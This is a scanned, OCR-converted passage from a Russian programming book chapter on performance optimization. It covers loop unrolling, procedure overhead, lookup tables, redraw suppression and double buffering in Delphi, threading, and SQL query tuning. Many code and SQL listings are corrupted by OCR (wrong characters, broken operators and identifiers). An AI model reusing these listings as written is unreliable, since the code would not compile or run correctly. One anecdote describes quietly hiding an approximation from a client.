эффект зависания, который может раздражать пользователей. Чтобы программа не зависала, внутри цикла желательно ставить вызов метода ProcessMessages объекта Appl i cati on: Арр11cati on.ProcessMessages(): Если один проход цикла выполняется слишком долго (до минуты и более), то весь код желательно вынести в отдельный поток, чтобы он выполнялся параллельно основной программе. Внутри цикла нужно проверять каждую строчку в поисках слабого места. Если он выполняется 100 раз, а вы сэкономили 1 такт, то общая экономия будет 100 так- тов, что уже существенно. Вне цикла экономия каждого такта не так заметна. Когда я пытался разрабатывать игры, приходилось экономить каждый такт, при- меняя сдвиги, оптимизируя математические операции и т. д. Если цикл выполняется быстро, но включает в себя несколько этапов, то потеря про- изводительности будет именно на переходах. Работу цикла можно осуществить так:
2.6. Оптимизация циклов 57 1. Установить первоначальное значение счетчика. 2. Взять очередное значение. 3. Выполнить тело цикла. 4. Увеличить счетчик. 5. Проверить, не вышло ли значение за допустимое 6. Перейти на шаг 2. Если этот цикл будет выполняться 1 000 000 раз, то во время его выполнения бу- дет происходить 1 000 000 переходов с шага 5 на шаг 2 Это очень много, поэтому если тело цикла небольшое, то можно ускорить выполнение кода в два раза сле- дующим образом: 1. Установить первоначальное значение счетчика. 2. Взять очередное значение. 3. Выполнить тело цикла. 4. Увеличить счетчик. 5. Проверить, не вышло ли значение за допустимое. 6. Взять очередное значение. 7. Выполнить тело цикла. 8. Увеличить счетчик. 9. Проверить, не вышло ли значение за допустимое. 10. Перейти на шаг 2. В данном случае за один проход цикла дважды выполняется его тело и только потом осуществляется переход на начало. Таким образом, переходов будет в два раза меньше. Если тело цикла выполнять трижды, то количество переходов будет в 3 раза меньше. Так как мы знаем, что цикл будет выполняться 1 000 000 раз, можно быть уверенными, что пункт 5 не нужен, потому что число выполнений четное и в середине тела мы никогда не превысим допустимое значение. В этом случае мы избавляемся от 500 000 проверок и 500 000 переходов, что в общей сложности составляет 1 000 000 операций. Каждая экономия условного перехода и логической проверки выгодна для про- цессора. Современные процессоры могут выполнять инструкции параллельно в длинном конвейере. Когда встречается переход, то необходимо предсказывать, обработает он или нет, и если произойдет ошибка в предсказании, то процессор сбросит конвейер и начнет выполнение заново. Это отнимает лишние такты и за- медляет производительность, поэтому сплошной код может выполняться намно- го быстрее. В описанном методе оптимизации цикла есть один недостаток — возрастает объем кода и, соответственно, размер запускного файла. Именно поэтому я рекомендую использовать его, только когда тело цикла достаточно мало.
58 Глава 2. Оптимизация Я видел, как программисты выносили тело цикла в отдельную процедуру, а зна- чение счетчика передавали в качестве параметра. Потом вместо циклических опе- раций несколько раз вызывалась процедура с разными параметрами. На первый взгляд экономия в скорости есть, но в действительности будет только потеря. Выносите из циклов все, что только можно. Старайтесь подготавливать память и необходимые данные заранее. Например, если в цикле нужен большой блок па- мяти, то нет смысла на каждом шаге создавать его и уничтожать. Более эффек- тивным методом может оказаться выделение памяти заранее, а на каждом этапе цикла — очищение памяти от оставшихся данных с прошлого шага. Если можно произвести какие-то расчеты до цикла или после, то обязательно выносите этот код за пределы цикла. Каждая математическая операция (особен- но умножение или деление) может отнять драгоценное в расчетах время. Особое внимание нужно уделить проверкам. Как мы уже знаем, они являются «вра- гом» производительности, но если не проверять данные, то может возникнуть ошиб- ка, а это еще хуже, чем медленная программа. Если с задержками пользователь го- тов еще хоть как-то мириться, то на ошибки никто закрывать глаза не будет. Вы должны постараться сделать так, чтобы ошибок в циклах не было. Пытайтесь проверять все заранее, а если какая-то проверка должна быть в цикле, то не эко- номьте на ней. Сэкономив на проверке, вы экономите на своих будущих пользо- вателях. Я вообще рекомендую минимально использовать циклы. Если есть возможность, то за один цикл можно попытаться решить две задачи. 2.7. Процедуры и функции Любая процедура или функция — это потеря в скорости. Чтобы понять это, необ- ходимо знать, как программа переходит на выполнение процедуры и выходит из нее. Функции и процедуры работают практически одинаково. Разница состоит толь- ко в возвращаемом значении, поэтому в дальнейшем все, что я буду говорить о процедурах, в равной степени относится и к функциям. Вызов процедуры в программе в виде псевдокода можно представить следующим образом: Код программы Код программы Вызов процедуры Код программы Начало процедуры Код процедуры Конец процедуры Код других процедур или программы
2.7. Процедуры и функции 59 Чтобы программа могла переключиться на выполнение процедуры, должен про- изойти переход с одного участка кода на другой, что занимает не так уж и много времени. В этот момент процессор должен сохранить основные параметры своего состояния (основные регистры), чтобы после выхода продолжить дальнейшую работу. Но это еще не все. Процедура может вызываться из разных мест, поэтому она должна знать, куда ей возвращать управление. Для этого перед вызовом програм- ма сохраняет в специальной области памяти (стеке) адрес возврата, в который нужно вернуться после работы. Процедура, получив этот адрес, переходит по нему, и программа работает дальше. Все параметры процедур и функций передаются через специальную память, ко- торая называется стеком. Перед началом процедуры параметры помещаются в стек, а перед выходом убираются из него. Таким образом, если передавать толь- ко один параметр, то используются как минимум две операции процессора (поме- стить переменную и взять из стека). Несмотря на то, что работа со стеком происходит достаточно быстро и есть спе- циальные инструкции, упрощающие работу (push и pop), при большом количестве параметров или их большем размере потери могут оказаться существенными. А ес- ли добавить сохранение/восстановление регистров процессора при вызове про- цедуры, сохранение и получение адреса возврата, то это уже существенно. Если процедуре или функции необходимо передать большой блок данных, то не стоит использовать стек, потому что помещение данных в стек и получение их оттуда может занять много времени. Данные, скорее всего, и так уже хранятся в памяти, поэтому лучше передать процедуре только адрес этой памяти, чтобы работа осуществлялась напрямую. i В этом случае нужно быть осторожнее, потому что данные могут быть нарушены. Если переменная передается через стек, то сама переменная остается нетронутой, а процедура работает с ее копией в стеке. При передаче адреса данных нетрону- тым будет только адрес, а данные смогут изменяться. В Delphi, чтобы переменная, которую мы передали процедуре, не могла изменять- ся, ничего делать не надо Если необходима возможность изменения ее содержи- мого из процедуры, то перед объявлением соответствующего параметра нужно поставить слово var. При передаче в Delphi объектов или адресов процедуре всегда передается именно адрес на объект или данные, поэтому через этот адрес процедура может изменить данные, и они не восстановятся после выхода. Процедурное программирование дает большие преимущества при разработке, отладке и дальнейшем сопровождении, но приводит и к лишним потерям. Если ваше приложение слишком критично к скорости, то лучше стараться минималь- но использовать эту возможность. Если какая-то процедура или функция в программе вызывается только один раз, то лучше избавиться от нее. Возможно, код станет сложнее в чтении, но при со- блюдении четких правил оформления и подробном комментировании кода чита- бельность пострадает не сильно.
60 Глава 2. Оптимизация Когда код процедуры небольшой и вызывается 2-3 раза, можно отказаться от при- менения процедуры, скопировав код в нужные места. В этом случае одинаковые участки кода будут встречаться несколько раз, что увеличит размер программы, но при этом производительность может повыситься. Избавляться от процедуры можно и в том случае, когда она вызывается из боль- шого и продолжительного по выполнению цикла. Процедуру можно оставить для вызова из других мест, а ее код скопировать внутрь цикла. Я рекомендую оптимизировать процедуры только после завершения этапов разра- ботки и отладки, иначе во время разработки вы никогда не сможете точно опреде- лить, что процедура больше не нужна. Если во время отладки в коде будет найдена ошибка, то все программисты, исправив эту ошибку в одном месте, обязательно за- бывают подправить остальные копии кода процедуры. Именно поэтому такая оп- тимизация должна осуществляться в конце. Не передавайте процедуре большое количество параметров или параметры боль- шого размера. Если многочисленные параметры все же необходимы, то лучше со- всем избавиться от процедуры. При наличии одного параметра большого размера используются указатели. Это сэкономит время при вызове процедур и функций и выходе из них. 2.8. Сложные расчеты Снова вспоминается программирование игр и мой опыт создания BD-мира под DOS. Чтобы рассчитать текущее положение игрока, видимую область, стены, кар- кас стен, которые должны быть прорисованы, да еще и наложить на них текстуры, необходимо совершить множество математических расчетов. Когда я попытался сделать это в реальном времени, то получились большие задержки. Оптимизация математики была бесполезна и не привела бы ни к чему хорошему. Расчет сцены зависел от разрешения экрана. Тогда для игр разрешение 320x200 считалось вполне приемлемым, особенно для жанра 3D Action. Итак, для расчета сцены запускался цикл из 320 шагов (разрешение по горизонтали), а на каждом этапе просчитывалась соответствующая вертикальная линия, видимые области на этой линии и т. д. Надо понимать, что каждая вертикальная линия расположе- на под каким-либо углом. Для упрощения расчетов я использовал небольшой угол обзора. Для расчета градусов, линий и других элементов применялся метод трас- сировки лучей, который требует геометрических расчетов с функциями косину- сов, синусов, тангенсов и т. д. Выполнение одних только этих функций отнимает немало процессорного времени. В то время у меня был Pentium 100, а для него геометрические расчеты были слиш- ком сложны. Оптимизировать их нельзя, потому что без них никуда не денешься. Тогда я воспользовался Интернетом и начал искать какую-нибудь информацию. В те времена Всемирная сеть только начала распространяться в России, поэтому на русском языке ничего найти не удалось, но на английском мне на глаза попался один интересный документ. В нем предлагалось произвести сложные расчеты и ок- руглить полученные результаты еще на этапе загрузки программы (уровня).
2.9. Лишние прорисовки экрана 61 Проанализировав код, я нашел те участки, которые можно было вынести на этап старта программы. Получалось, что основные расчеты делались заранее формировалась таблица выходных значений, а во время просчета сцены из таб- лицы бралось самое близкое значение. Конечно же, рассчитанные значения для 0-360 градусов займут в памяти много места, поэтому был выбран определен- ный шаг. Таким образом, скорость была повышена за счет снижения качества графики. Хо- рошо, что это была графика и в ней расчеты с округлением допустимы. При работе с деньгами округление может обойтись штрафами и даже лишением работы. Не думайте, что в офисных программах округление не используется из-за высо- кой точности расчетов. Однажды я писал программу сбора информации с произ- водственного оборудования, и она должна была строить график изменений. Опять же, для его построения можно использовать, и я использовал приблизительные расчеты и заранее рассчитанные значения. Когда пользователь выбирал опреде- ленный период, и не было необходимости в отображении данных в реальном вре- мени, то график формировался четко. Так как человеческий глаз не может заме- чать изменения в один пиксел на движущемся графике, погрешность между реальными расчетами и приближенными не была заметна. Об этом знал только я, но, конечно же, никому не сказал. Именно при работе с графикой и звуком чаще всего необходимы высокие скоро- сти. Если звук в офисных приложениях используется редко, а если и использует- ся, но не требует высокой производительности, то графика нужна часто и жела- тельно, чтобы она выводилась в реальном времени. Представляете, что графики биржевых котировок прорисовываются с большой задержкой. Большинство брокеров и маклеров просто обанкротились бы. 2.9. Лишние прорисовки экрана Избавляйтесь от лишних прорисовок, потому что они могут отнимать время. До- пустим, что у вас на форме есть компонент ListViewl типа TListView В нем нахо- дятся 1000 пиктограмм, необходимо удалить содержимое и загрузить новые 1000 элементов. Процесс достаточно прост, но только на первый взгляд. Если просто очистить элементы методом Cl ear (LI stVIewl. Items. Clear) и потом в цикле добавлять новые, то процесс будет долгим и заметным даже невооружен- ным взглядом. Это связано с тем, что после вставки в список нового элемента ав- томатически происходит перерисовка экрана. Но зачем ее делать, ведь будет до- бавлен еще один элемент? Наиболее эффективным будет запретить прорисовку, а осуществить ее только после очистки содержимого и добавления всех элемен- тов. Для данного случая проблема решается с помощью такой записи: Li stVIewl. Items. Begi nllpdate: ListViewl.Items.Cl ear; // Добавление элементов ListVi ewl.Items.EndUpdate;
62 Глава 2. Оптимизация Метод Begi nllpdate указывает компоненту, что сейчас начнется массовое обновле- ние и прорисовки компонента не будет. Метод Endllpdate завершает обновление, и после этого компонент автоматически прорисовывается. При следующих добав- лениях или изменениях прорисовка также будет происходить автоматически. Этот пример также работает и с компонентом дерева TTreeView. Обязательно за- прещайте автоматическую перерисовку при массовом изменении содержимого, чтобы не тратить лишнее процессорное время. 2.10. Буферизация вывода Буферизация вывода является способом избавления от лишних прорисовок, а так- же применяется и в других случаях. Нам необходимо не просто отказаться от за- трат времени с помощью запретов, а повысить производительность более скорос- тными методами. Лишние прорисовки происходят даже при рисовании на форме. Если выводить каждую линию, то прорисовка будет долгой. Отследим процесс рисования на ре- альном примере, в котором будем рисовать на форме 10 000 линий. Для этого со- здайте новый проект в Delphi и поместите на форму только одну кнопку. По ее нажатии (событие OnCl ick для кнопки) пишем код из листинга 2.3. Листинг 2.3. Рисование линий на форме procedure TForml.ButtonlClick(Sender? TObject); var i: Integer; tDrawTime: Cardinal; begin tDrawTime ;= GetTickCount(); Repaint; for 1 ;= 0 to 10000 do begin Canvas.MoveTo(random(Width). Random(Height)): Canvas.LineTo(random(Width). Random(Height)); end; ShowMessage(IntToStr(GetT1ckCount()-tDrawTime)); end; Для большей наглядности в код добавлены функции определения времени, за- траченного на рисование. В самом начале вызывается метод формы Repaint, который заставляет ее обно- вить содержимое. В данном случае обновление очищает форму, потому что в этот момент генерируется событие OnPaint, по которому мы ничего не рисуем. После этого запускается цикл из 10 000 шагов, в котором рисуются линии со слу- чайными координатами. Если запустить приложение и нажать на кнопку, то да- же на быстром компьютере будет видно, как линии засыпают экран. На моем ком- пьютере (Celeron 2,4 ГГц) засыпание происходило быстро, но все же заметно.
2.10. Буферизация вывода 63 Теперь представьте себе игру Doom (игровые примеры более наглядны, но можно привести любой пример вывода сложной графики), в которой видно, как строится сцена. Как бы быстро это ни происходило, процесс построения будет раздражать зрение, не говоря уже о медленной работе. Пользователь должен видеть только ко- нечный результат сцены, а построение его уже не волнует и как, я уже сказал, раз- дражает. Этот эффект появляется из-за того, что рисование на экране происходит прямо в видеобуфере. В современных компьютерах для связи с видеобуфером исполь- зуется скоростная шина AGP, но этого все равно не хватает для того, чтобы изба- виться от эффекта построения. Именно поэтому изображение нужно формиро- вать в отдельном буфере памяти, с которым скорость обмена будет выше, а только потом копировать данные в видеобуфер. Теперь поместите на форму еще одну кнопку, и по ее нажатии напишем код рисо- вания с буферизацией (листинг 2.4). Здесь мы сначала создадим объект массива битов типа TBitmap, который позволяет хранить данные изображения и рисовать в нем знакомыми нам функциями работы с графикой. После этого установим ши- рину и высоту равными размеру окна. Далее используем заливку содержимого изображения цветом clBtnFace (этот цвет соответствует системному цвету залив- ки кнопок и фона диалоговых окон). Теперь можно переходить непосредственно к рисованию линий. Код ничем не от- личается от уже рассмотренного выше (см. листинг 2.3), только рисуем мы не на форме, а в объекте TBitmap. Рисование в этом объекте происходит даже медленнее, чем на экране. Это уже особенность, от которой никуда не деться, зато мы получим возможность пользоваться теми же функциями, что и для рисования на экране. Листинг 2.4. Рисование с буферизацией procedure TForml.Button2Click(Sender: TObject); var i: Integer: bimage: TBitmap: tDrawTIme: Cardinal; begin tDrawTIme := GetTIckCountO: bimage := TBitmap.Create; bimage.Width : = Width; bimage.Height : = Height; bimage.Canvas.Brush.Col or : = clBtnFace; bimage.Canvas.FillRect(bimage.Canvas.ClipRect); for 1 := 0 to 10000 do begin bimage.Canvas.MoveTo(random(W1dth), Random(Helght)): bimage.Canvas.L1neTo(random(W1dth). Random(Helght)); end: Canvas.Draw(0, 0. bimage); ShowMessage(IntToStr(GetTIckCountO-tDrawTIme)); end;
64 Глава 2. Оптимизация По окончании рисования выводим изображение на форму с помощью простого копирования. Теперь не может быть видно, как изображение формируется на эк- ране. Пользователь будет видеть только результат с небольшой задержкой. Если сейчас запустить приложение и выполнить его, то вы сможете ощутить поте- рю производительности в несколько раз. Это связано с тем, что методы MoveTo и Line- То в объекте TBitmap работают слишком медленно. Даже медленнее, чем у формы Canvas. Зато мы избавились от видимого эффекта построения Для нового примера я бы воспользовался чем-то более скоростным, чем метод Draw, но сейчас мы изучаем буферизацию и оставим пока этот метод. Сразу же рассмотрим, как можно увеличить производительность данного приме- ра, потому что оптимизировать можно все. Если изображение будет формировать- ся редко, то можно закрыть на это глаза, но если сделать вызов функции по тайме- ру, то придется заняться оптимизацией. Где слабое место? Самое слабое — это цикл for, который выполняется 10 000 раз. Не менее слабым местом является процедура. Если она будет вызываться по тай- меру несколько раз, то это равносильно тому, что процедура находится в цикле и выполняется с задержкой во времени. Давайте посмотрим на процедуру с точ- ки зрения цикла. Так как рисование будет происходить часто, то нет смысла каждый раз создавать изображение TBitmap и устанавливать его размеры. Данные операции можно вы- нести за пределы процедуры. Для этого объявим переменную bStartlmage типа TBitmap в разделе private объявления нашей формы. После этого нужно создать обработчик события OnCreate для формы и инициализировать изображение там: procedure TForml.FormCreateCSender: TObject); begin bStartlmage := TBitmap.Create; bStartlmage.Width := Width; bStartlmage.Height := Height; end; В обработчике события OnClick для кнопки можно рисовать только в созданном объекте TBitmap (листинг 2.5). Листинг 2.5. Рисование линий procedure TForml.Button3Click(Sender: TObject); var i: Integer: tDrawTime: Cardinal: begin tDrawTime := GetTickCountO; bStartlmage.Canvas.Brush.Col or ; = clBtnFace; bStartlmage.Canvas.Fi11Rect(bSta rtImage.Canvas.Cli pRect); for i := 0 to 10000 do begin bStartlmage.Canvas.MoveTo(random(Width). Random(Height)); bStartlmage.Canvas.LineTo(random(Width). Random(Height));
2.11. Многопоточность 65 end; Canvas.Draw(0, 0. bStartlmage); ShowMessage(IntToStr(GetTickCount()-tDrawTime)): end: На моем компьютере (Celeron 2400,512 Мбайт ОП) этот код работал 260 мс, а код из листинга 2.4 работал 282 мс. Конечно же, графика с использованием средств GDI намного медленней, чем DirectX, и там можно было бы оптимизировать еще лучше. Или хотя бы отказать- ся от использования объекта TBitmap, а использовать блок памяти. В обоих случа- ях придется забыть методы MoveTo или LineTo, а применять собственный алгоритм рисования прямой линии. Это уже из серии графических алгоритмов и тема для отдельного разговора. Как я уже говорил, для повышения производительности нужно избавится от объек- та TBitmap, который замедляет выполнение программы ПРИМЕЧАНИЕ ------------------------------------------------------------------ Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch02\DrawProject. 2.11. Многопоточность Использование множества потоков позволяет повысить производительность или создать видимость высокой производительности. Вашу программу можно воспри- нимать как отдельный поток. Очень редко бывают случаи, когда этот поток загру- жает процессор на все 100 %. Чаще всего основной поток ожидает ввода и только реагирует на действия пользователя. Остальные расчеты могут быть вынесены в отдельный поток и выполняться параллельно с основным. Допустим, что вам надо сжать звуковой файл WAV в MP3. Программа может вывести модальное диалоговое окно (которое блокирует работу программы, пока не будет закрыто) и выполнять преобразование. В этом случае пользователь не может продолжать дальнейшую работу, и каждая минута ожидания будет раздра- жительной. Если не блокировать работу, делать преобразование в отдельном потоке, а на эк- ране выводить состояние процесса, то пользователь будет в состоянии работать дальше и, может быть, даже проигрывать какой-то другой файл, не утомляясь. Время «пробегает» незаметно, и создается впечатление быстрой работы. Ярким примером такой программы является Media Player, который позволяет проигры- вать и оцифровывать звук с компакт-диска одновременно. Таким образом, можно максимально использовать ресурсы компьютера и не ог- раничивать пользователя в возможностях, тем самым время ожидания будет про- ходить быстрее (по крайней мере, создастся впечатление быстрой работы). Использование потоков может действительно (без создания видимости) увели- чивать скорость работы даже офисного приложения. Простейший пример — Word 3 Зак. 308
66 Глава 2. Оптимизация и его проверка орфографии. Представьте себе, если после введения каждого сло- ва программа искала бы его в словаре и проверяла орфографические и граммати- ческие ошибки. Чтобы не было лишних задержек, орфография проверяется в фоне отдельным потоком. Это не затрудняет работу с программой, хотя ошибка может отобразить- ся не сразу, а через какой-то промежуток времени. Пользователей это не смуща- ет, потому что работа с программой продолжается, а если во время набора текста система не перегружается (параллельно происходит сжатие видео или создание анимации в 3DS Мах), то задержки минимальны. При большой нагрузке системы работа с текстом возможна, хотя проверка орфографии будет происходить с дли- тельными задержками. Потоки необходимы и в таких программах, как сбор информации в реальном вре- мени. Например, вы пишете программу, которая должна по определенному собы- тию или через определенные промежутки времени опрашивать по СОМ-порту какое-то устройство. В моей практике была задача написать подобную програм- му для одной производственной фирмы. Все полученные параметры сохранялись в базе данных, и они должны были быть максимально точными. Задержки в об- мене данными с устройством невозможны и запрещены. Первым делом напрашивается простой обмен данными с устройством. Но не за- бывайте, что любые данные, которые сохраняются в базе, должны быть когда-то прочитаны и выведены для просмотра. Пользователи всегда хотят иметь возмож- ность поиска. Когда данных много, то эта операция может занять много времени. А что, если в момент поиска/обработки данных возникло событие, по которому как раз мы и должны начать обмен? Программа будет занята, и обмен произойдет только по завершении обработки. В моей программе качество продукции определялось по параметрам, получаемым с устройства. Если произойдет задержка, то может быть неправильно определено качество и хорошая продукция попадет в брак, и наоборот. Для того, чтобы опрос оборудования происходил независимо от программы, он был вынесен в отдельный поток с высоким приоритетом. Теперь можно было од- новременно производить поиск в базе данных и обмениваться параметрами с оборудованием, при этом не возникало никаких проблем. На производстве было внедрено пять компьютеров с такой программой, и они работали круглосуточно. Мне известно, что по крайней мере в течение трех лет они выключались только несколько раз при полном обесточивании производственных цехов. Сбоев или зависаний в программе замечено не было. Долго выполняющиеся задачи тоже желательно выносить в потоки, но с более низким приоритетом. Например, в программе сбора информации с производ- ственного оборудования запросы к базе данных можно вынести в отдельный по- ток, который будет работать при низшем приоритете. Это позволит системе при поступлении сигнала о необходимости считывания данных с оборудования вы- делять меньше времени на обработку запроса к базе данных, а больше времени потратить на работу с оборудованием. Для данной программы считывание дан- ных с устройств является более важной задачей, поэтому нужно больше времени уделить именно этому.
2.12. Оптимизация в базах данных 67 2.12. Оптимизация в базах данных Большая часть программ, которые мне приходится писать, так или иначе связаны с базами данных. В своей практике я использовал различные системы управле- ния базами данных (СУБД) и не раз «обжигался» на том, что они по-разному могут обрабатывать запросы. Именно поэтому вы должны с самого начала писать программу именно для той базы данных, с которой будет происходить работа. Нельзя написать код в SQL Server, а потом просто перенести его в Oracle. Это совершенно разные базы, и работают они по-разному. При оптимизации приложений для работы с базами данных нужно действовать с двух сторон — оптимизировать саму базу данных (сервер базы) и средства до- ступа к данным (запросы). Давайте изучим основные принципы, которыми вы должны руководствоваться при оптимизации приложений с базами данных. 2.12.1. Оптимизация запросов Доступ к данным в СУБД предоставляется через запросы. Все клиент-серверные базы данных практически полностью поддерживают язык запросов SQL (но каж- дый со своими отклонениями и ограничениями), который был разработан и при- нят еще в 1992 году. Именно этот язык до сих пор является основой любого при- ложения, использующего СУБД. Некоторые программисты считают, что запросы SQL работают одинаково в лю- бой СУБД. Это большая ошибка. Действительно, существует стандарт SQL, и за- просы, написанные на нем, воспринимаются в большинстве систем одинаково. Но их обработка будет происходить совершенно по-разному. Максимальные проблемы во время переноса приложения могут принести расши- рения языка SQL. Так, например, в SQL Server используется Transact-SQL, а в Oracle — PL/SQL, и их операторы совершенно несовместимы. Но даже если вы переведете синтаксис с одного языка на другой, проблем будет очень много. Это связано с различными архитектурами оптимизаторов запросов, разницей в блокировках и т. д. Если код программы при смене СУБД требует не- значительных изменений, то запросы SQL нужно переписывать полностью и с самого начала. Не стоит пытаться исправить их или оптимизировать. Писать надо изначально для определенной СУБД. Несмотря на большие различия между базами данных разных производителей, есть и общие стороны. Например, большинство СУБД обрабатывают запросы в такой последовательности: 1. Разбор запроса. 2. Оптимизация. 3. Генерация плана выполнения. 4. Выполнение запроса. Это всего лишь общий план выполнения, а для каждой конкретной СУБД коли- чество шагов может отличаться. Перед выполнением осуществляется несколько
68 Глава 2. Оптимизация подготовительных операций, которые отнимают достаточно много времени. Пос- ле выполнения запроса использованный план будет сохранен в специальном бу- фере. При следующем запуске сервер получит эти данные из буфера и сразу же начнет выполнение без лишних затрат на подготовку. Теперь посмотрим на два запроса: SELECT * FROM TableName WHERE ColumnName = 10 и SELECT * FROM TableName WHERE ColumnName = 20 Оба запроса выбирают все данные из одной и той же таблицы. Только на первый запрос отобразятся строки, в которых колонка Col umnName содержит значение 10, а на второй — строки, где эта же колонка содержит значение 20. На первый взгляд запросы очень похожи и должны выполнятся одинаково. На самом деле оптими- затор воспринимает такие запросы разными и будет осуществлять подготовитель- ные шаги в обоих случаях, несмотря на схожесть. Чтобы этого не было, нужно использовать в запросах переменные: SELECT * FROM TableName WHERE ColumnName = paraml Теперь, выполняя запрос, достаточно передать серверу значение переменной paraml, тогда запросы будут восприниматься оптимизатором как одинаковые и лишней об- работки не будет. Буфер для хранения планов выполнения не бесконечен, поэтому в нем хранятся данные только о последних запросах (количество зависит от размера буфера). Если какой-то запрос выполняется часто, то в нем обязательно нужно использо- вать переменные, потому что это значительно повышает производительность. Попробуйте дважды выполнить один и тот же запрос и посмотреть на скорость выполнения. Вторичное выполнение произойдет намного быстрее и может быть даже незаметным на глаз. Если запрос выполняется редко, то можно не обращать внимания на оптимизацию. Как мы уже знаем, незачем оптимизировать то, что и так работает быстро и выпол- няется редко. Эффект от минимизации в данном случае будет минимален. Часто выполняемые задачи должны работать максимально быстро. Даже если за- прос выполняется с приемлемой для клиента скоростью, тысяча таких запросов создадут ощутимую нагрузку на сервер, и он сразу же станет узким звеном в ва- шей системе. В большинстве приложений баз данных присутствуют какие-либо возможности для построения отчетов. Запросы на языке SQL для их формирования могут вы- полняться очень долго, хотя сами отчеты делают очень редко (например, месяч- ный, квартальный или годовой отчет). Из-за этого программисты мало внимания
2.12. Оптимизация в базах данных 69 уделяют оптимизации. Но в действительности отчетность может формироваться несколько раз подряд. После первой попытки очень часто в данные вносятся из- менения, и формирование повторяется снова. Таким образом, даже редко выпол- няемые, но очень медленные запросы нужно постараться оптимизировать хотя бы с помощью использования параметров. При написании запросов старайтесь как можно меньше использовать операторы SELECT, особенно вложенные в секцию WHERE. Для повышения производительнос- ти иногда помогает вынос лишнего SELECT в секцию FROM Но иногда бывает и нао- борот, быстрее выполняется запрос, в котором SELECT вынесен из FROM в тело WHERE. Допустим, что из базы данных необходимо выбрать всех людей, которые работа- ют на данный момент. Для всех работающих в колонке Status устанавливается код, который можно получить из справочника состояний. Посмотрите на первый вариант запроса: SELECT * FROM tbPerson р WHERE p.idStatus = (SELECT [Keyl] FROM tbStatus WHERE sName = ’Работает’) Вам не обязательно полностью понимать суть этого запроса. Главное здесь в том, что в секции WHERE выполняется подзапрос. Он будет генерироваться для каждой строки в таблице tbPerson, что может стать большой нагрузкой для сервера. Теперь разберем, как можно вынести запрос SELECT в секцию FROM. Это можно сде- лать следующим образом: SELECT * FROM tbPerson р. (SELECT [Keyl] FROM tbStatus WHERE sName = ’Работает’) s WHERE p.idStatus = s.Keyl Данные примеры слишком просты и могут выполняться одинаково по времени, с точностью до секунды. Но при более разветвленной структуре и сложном за- просе можно сравнить работу и увидеть наиболее предпочтительный вариант для определенной СУБД (напоминаю, что разные базы данных могут обрабатывать запросы по-разному). В большинстве случаев каждый оператор SELECT отрицательно влияет на скорость работы, поэтому в предыдущем примере нужно избавиться от него с помощью такой записи: SELECT * FROM tbPerson р, tbStatus s WHERE p.idStatus = s.Keyl AND s.sName = ’Работает’ В более сложных примерах программисты не видят возможности решения задачи с помощью одного запроса, хотя она существует. Допустим, что у нас есть табли- ца А с полями: • Kod — число, принимает значения 1 или 2; • Famil — фамилия; • FirstName — имя;
70 Глава 2. Оптимизация • Otch — отчество. В этой таблице хранится список данных о сотрудниках. Для каждого сотрудника выделены две записи с кодом 1 и с кодом 0. Записи с кодом 1 могут быть связаны с таблицей Info, в которой будет храниться полная информация о сотрудниках. Нам надо получить все записи с кодом 0, для которых существует связь между таблицами А и Info. Такую задачу чаще всего решают, используя двойной запрос: SELECT * FROM Info i. (SELECT * FROM A, Info WHERE a.Famil = info.Famil) s WHERE Kod = 0 AND a.Famil = s.Famil Существует и более простой способ решения: SELECT 12.* FROM Info 11. A, Info 12 WHERE 11.Kod = 1 AND ll.Famll = A.Famil AND ll.Famll = 12.Fam11 AND 12.Kod = 0 Здесь в запросе мы дважды ссылаемся на одну и ту же таблицу Info и строим связь Info-A-Info. На первый взгляд связь получается сложной, но при наличии пра- вильно настроенных индексов этот пример будет работать в несколько раз быст- рее, чем с использованием подзапросов SELECT. Для ускорения работы можно разбить один запрос на несколько. Например, для SQL Server предыдущий пример можно видоизменить так: Declare @1d Int SELECT @1d = [Id] FROM tbStatus WHERE sName = ’Работает’ SELECT * FROM tbPerson p WHERE p.ldStatus = Old В этом примере мы сначала объявляем переменную Old. Затем в ней сохраняем значение идентификатора, а потом уже ищем соответствующие строки в таблице tbPerson. Как видите, одну и ту же задачу можно решить разными способами. Некоторые из них могут повысить производительность в несколько раз. Как мы уже говорили, при написании программы вы должны полностью изучить систему, в которой программируете. Это справедливо и для баз данных. Вы долж- ны четко представлять себе систему, ее преимущества и недостатки. Невозможно сформулировать универсальные методы написания эффективного кода, которые работали бы везде. Изучайте, экспериментируйте, анализируйте, и только тогда вы сможете получить максимальный эффект от доступных ресурсов.
2.12. Оптимизация в базах данных 71 2.12.2. Оптимизация СУБД Одновременно с оптимизацией запросов вы должны оптимизировать и саму базу данных. Это достигается с помощью введения дополнительных индексов на поля, по которым часто происходит выборка данных. Индексы могут значительно ус- корить поиск, но с ними нужно обращаться аккуратно, потому что слишком боль- шое количество индексов может замедлить работу. После внесения изменений в индексы вы должны протестировать программу. Если скорость работы не увеличилась, то удалите индекс, чтобы он не отнимал ресурсы. Добавление следующего индекса может не принести желаемого эффек- та из-за присутствия неиспользуемых индексов. Еще одним способом повышения скорости работы запросов может быть денорма- лизация данных. Что это такое? У вас может быть несколько связанных таблиц. В первой из них находится фамилия человека, а в пятой — город проживания. Чтобы получить в одном запросе оба значения, нужно создать связь между таб- лицами, и для сервера такой запрос может быть слишком сложным. В таких слу- чаях значения города копируют в ту же таблицу, где находится фамилия, и связь становится ненужной. Конечно же, появляется и избыточность данных — в двух таблицах хранятся одни и те же данные и в таблице с фамилиями во многих стро- ках будет повторяться значение города, но это повышает скорость обработки, и иногда очень значительно. Минусом денормализации является сложность поддержки данных. Если в одной таблице изменились значения, то вы должны обновить соответствующие значе- ния в другой таблице. Именно поэтому для денормализации используют только те поля, которые изменяются редко, благо города у нас переименовывают не каж- дый день и данные легко поддерживать даже вручную. 2.12.3. Изучайте систему Я постарался дать лишь общие сведения об оптимизации, но даже если использо- вать только их, вы сможете существенно повысить скорость работы приложений с базами данных. СУБД (Oracle или SQL Server) собирает статистическую ин- формацию о запросах, которая поможет оптимизатору выбрать правильный и бы- стрый метод выборки данных. Но статистика может быть ошибочна, поэтому же- лательно уметь управлять процессом сбора информации. Рассмотренные методы оптимизации работают практически во всех современных СУБД. Более тонкую настройку нужно начинать только после того, как вы узна- ете, как система и оптимизатор обрабатывают запрос и что можно сделать для повышения эффективности. В некоторых системах управления данными (например, SQL Server) есть специ- альные утилиты, которые позволяют проанализировать выбранный оптимизато- ром план выполнения. В SQL Server можно визуально увидеть все шаги и подроб- ную информацию (рис 2 4.). Проанализировав эту информацию, можно принять правильное решение для повышения производительности сервера и скорости вы- полнения запроса.
